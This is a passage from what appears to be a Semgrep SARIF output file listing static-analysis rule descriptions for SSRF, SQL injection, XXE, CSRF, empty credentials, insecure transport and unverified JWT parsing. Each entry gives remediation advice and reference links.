domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-url-to-guzzle-client.tainted-url-to-guzzle-client)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://docs.guzzlephp.org/en/stable/quickstart.html#making-a-request](https://docs.guzzlephp.org/en/stable/quickstart.html#making-a-request)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-url-to-guzzle-client.tainted-url-to-guzzle-client","id":"php.lang.security.tainted-url-to-guzzle-client.tainted-url-to-guzzle-client","name":"php.lang.security.tainted-url-to-guzzle-client.tainted-url-to-guzzle-client","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-url-to-guzzle-client.tainted-url-to-guzzle-client"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.peewee-flask.peewee-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query."},"helpUri":"https://semgrep.dev/r/python.flask.db.peewee-flask.peewee-flask","id":"python.flask.db.peewee-flask.peewee-flask","name":"python.flask.db.peewee-flask.peewee-flask","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.peewee-flask.peewee-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.diesel.pg-connection-empty-password.pg-connection-empty-password)\n - [https://docs.diesel.rs/master/diesel/index.html](https://docs.diesel.rs/master/diesel/index.html)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.diesel.pg-connection-empty-password.pg-connection-empty-password","id":"rust.secrets.diesel.pg-connection-empty-password.pg-connection-empty-password","name":"rust.secrets.diesel.pg-connection-empty-password.pg-connection-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.diesel.pg-connection-empty-password.pg-connection-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The target origin of the window.postMessage() API is set to \"*\". This could allow for information disclosure due to the possibility of any origin allowed to receive the message."},"help":{"markdown":"The target origin of the window.postMessage() API is set to \"*\". This could allow for information disclosure due to the possibility of any origin allowed to receive the message.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.security.wildcard-postmessage-configuration.wildcard-postmessage-configuration)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The target origin of the window.postMessage() API is set to \"*\". This could allow for information disclosure due to the possibility of any origin allowed to receive the message."},"helpUri":"https://semgrep.dev/r/javascript.browser.security.wildcard-postmessage-configuration.wildcard-postmessage-configuration","id":"javascript.browser.security.wildcard-postmessage-configuration.wildcard-postmessage-configuration","name":"javascript.browser.security.wildcard-postmessage-configuration.wildcard-postmessage-configuration","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data Authenticity","MEDIUM CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.security.wildcard-postmessage-configuration.wildcard-postmessage-configuration"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for outgoing connections to ftp servers with the ftp package. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network. Instead, connect via the SFTP protocol."},"help":{"markdown":"Checks for outgoing connections to ftp servers with the ftp package. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network. Instead, connect via the SFTP protocol.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.ftp-request.ftp-request)\n - [https://godoc.org/github.com/jlaffaye/ftp#Dial](https://godoc.org/github.com/jlaffaye/ftp#Dial)\n - [https://github.com/jlaffaye/ftp](https://github.com/jlaffaye/ftp)\n","text":"Checks for outgoing connections to ftp servers with the ftp package. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network. Instead, connect via the SFTP protocol."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.ftp-request.ftp-request","id":"problem-based-packs.insecure-transport.go-stdlib.ftp-request.ftp-request","name":"problem-based-packs.insecure-transport.go-stdlib.ftp-request.ftp-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.ftp-request.ftp-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests sent via http.NewRequest to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"help":{"markdown":"Checks for requests sent via http.NewRequest to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.http-customized-request.http-customized-request)\n - [https://golang.org/pkg/net/http/#NewRequest](https://golang.org/pkg/net/http/#NewRequest)\n","text":"Checks for requests sent via http.NewRequest to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.http-customized-request.http-customized-request","id":"problem-based-packs.insecure-transport.go-stdlib.http-customized-request.http-customized-request","name":"problem-based-packs.insecure-transport.go-stdlib.http-customized-request.http-customized-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.http-customized-request.http-customized-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Markup escaping disabled. This can be used with some template engines to escape disabling of HTML entities, which can lead to XSS attacks."},"help":{"markdown":"Markup escaping disabled. This can be used with some template engines to escape disabling of HTML entities, which can lead to XSS attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.detect-disable-mustache-escape.detect-disable-mustache-escape)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Markup escaping disabled. This can be used with some template engines to escape disabling of HTML entities, which can lead to XSS attacks."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.detect-disable-mustache-escape.detect-disable-mustache-escape","id":"javascript.lang.security.detect-disable-mustache-escape.detect-disable-mustache-escape","name":"javascript.lang.security.detect-disable-mustache-escape.detect-disable-mustache-escape","properties":{"precision":"very-high","tags":["CWE-116: Improper Encoding or Escaping of Output","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.detect-disable-mustache-escape.detect-disable-mustache-escape"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Default session middleware settings: `domain` not set. It indicates the domain of the cookie; use it to compare against the domain of the server in which the URL is being requested. If they match, then check the path attribute next."},"help":{"markdown":"Default session middleware settings: `domain` not set. It indicates the domain of the cookie; use it to compare against the domain of the server in which the URL is being requested. If they match, then check the path attribute next.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-domain)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Default session middleware settings: `domain` not set. It indicates the domain of the cookie; use it to compare against the domain of the server in which the URL is being requested. If they match, then check the path attribute next."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-domain","id":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-domain","name":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-domain","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-domain"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.openai.openai-empty-secret.openai-empty-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.openai.openai-empty-secret.openai-empty-secret","id":"go.secrets.openai.openai-empty-secret.openai-empty-secret","name":"go.secrets.openai.openai-empty-secret.openai-empty-secret","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.openai.openai-empty-secret.openai-empty-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. This vulnerability can be prevented by getting the CSRF token from the request and including it in a response header by including `$W.Header.Set(X-CSRF-Token\", csrf.Token($R))` in the function before calling `$W.Write()`, or by wrapping the `$FUNC` call with `csrf.Protect(authKey)($FUNC)` and using a key retrieved for instance from an environment variable."},"help":{"markdown":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. This vulnerability can be prevented by getting the CSRF token from the request and including it in a response header by including `$W.Header.Set(X-CSRF-Token\", csrf.Token($R))` in the function before calling `$W.Write()`, or by wrapping the `$FUNC` call with `csrf.Protect(authKey)($FUNC)` and using a key retrieved for instance from an environment variable.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.csrf.gorilla-csrf.go-net-http-handlefunc-without-gorilla-csrf-protection.go-net-http-handlefunc-without-gorilla-csrf-protection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://github.com/gorilla/csrf](https://github.com/gorilla/csrf)\n","text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. This vulnerability can be prevented by getting the CSRF token from the request and including it in a response header by including `$W.Header.Set(X-CSRF-Token\", csrf.Token($R))` in the function before calling `$W.Write()`, or by wrapping the `$FUNC` call with `csrf.Protect(authKey)($FUNC)` and using a key retrieved for instance from an environment variable."},"helpUri":"https://semgrep.dev/r/go.net.csrf.gorilla-csrf.go-net-http-handlefunc-without-gorilla-csrf-protection.go-net-http-handlefunc-without-gorilla-csrf-protection","id":"go.net.csrf.gorilla-csrf.go-net-http-handlefunc-without-gorilla-csrf-protection.go-net-http-handlefunc-without-gorilla-csrf-protection","name":"go.net.csrf.gorilla-csrf.go-net-http-handlefunc-without-gorilla-csrf-protection.go-net-http-handlefunc-without-gorilla-csrf-protection","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.csrf.gorilla-csrf.go-net-http-handlefunc-without-gorilla-csrf-protection.go-net-http-handlefunc-without-gorilla-csrf-protection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.xmlreader-xxe.xmlreader-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.xmlreader-xxe.xmlreader-xxe","id":"java.lang.security.xxe.xmlreader-xxe.xmlreader-xxe","name":"java.lang.security.xxe.xmlreader-xxe.xmlreader-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.xmlreader-xxe.xmlreader-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.saxparserfactory-xxe.saxparserfactory-xxe)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.saxparserfactory-xxe.saxparserfactory-xxe","id":"kotlin.xxe.saxparserfactory-xxe.saxparserfactory-xxe","name":"kotlin.xxe.saxparserfactory-xxe.saxparserfactory-xxe","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.saxparserfactory-xxe.saxparserfactory-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the decoding of a JWT token without a verify step. Don't use `ParseUnverified` unless you know what you're doing This method parses the token but doesn't validate the signature. It's only ever useful in cases where you know the signature is valid (because it has been checked previously in the stack) and you want to extract values from it."},"help":{"markdown":"Detected the decoding of a JWT token without a verify step. Don't use `ParseUnverified` unless you know what you're doing This method parses the token but doesn't validate the signature. It's only ever useful in cases where you know the signature is valid (because it has been checked previously in the stack) and you want to extract values from it.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.jwt-go.security.audit.jwt-parse-unverified.jwt-go-parse-unverified)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"Detected the decoding of a JWT token without a verify step. Don't use `ParseUnverified` unless you know what you're doing This method parses the token but doesn't validate the signature. It's only ever useful in cases where you know the signature is valid (because it has been checked previously in the stack) and you want to extract values from it."},"helpUri":"https://semgrep.dev/r/go.jwt-go.security.audit.jwt-parse-unverified.jwt-go-parse-unverified","id":"go.jwt-go.security.audit.jwt-parse-unverified.jwt-go-parse-unverified","name":"go.jwt-go.security.audit.jwt-parse-unverified.jwt-go-parse-unverified","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data Authenticity","MEDIUM CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.jwt-go.security.audit.jwt-parse-unverified.jwt-go-parse-unverified"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"If unverified user data can reach the `puppeteer` methods it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `puppeteer` methods it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-puppeteer-injection.express-puppeteer-injection)\n - [https://pptr.dev/api/puppeteer.page](https://pptr.dev/api/puppeteer.page)\n","text":"If unverified user data can reach the `puppeteer` methods it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-puppeteer-injection.express-puppeteer-injection","id":"javascript.express.security.express-puppeteer-injection.express-puppeteer-injection","name":"javascript.express.security.express-puppeteer-injection.express-puppeteer-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-puppeteer-injection.express-puppeteer-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted 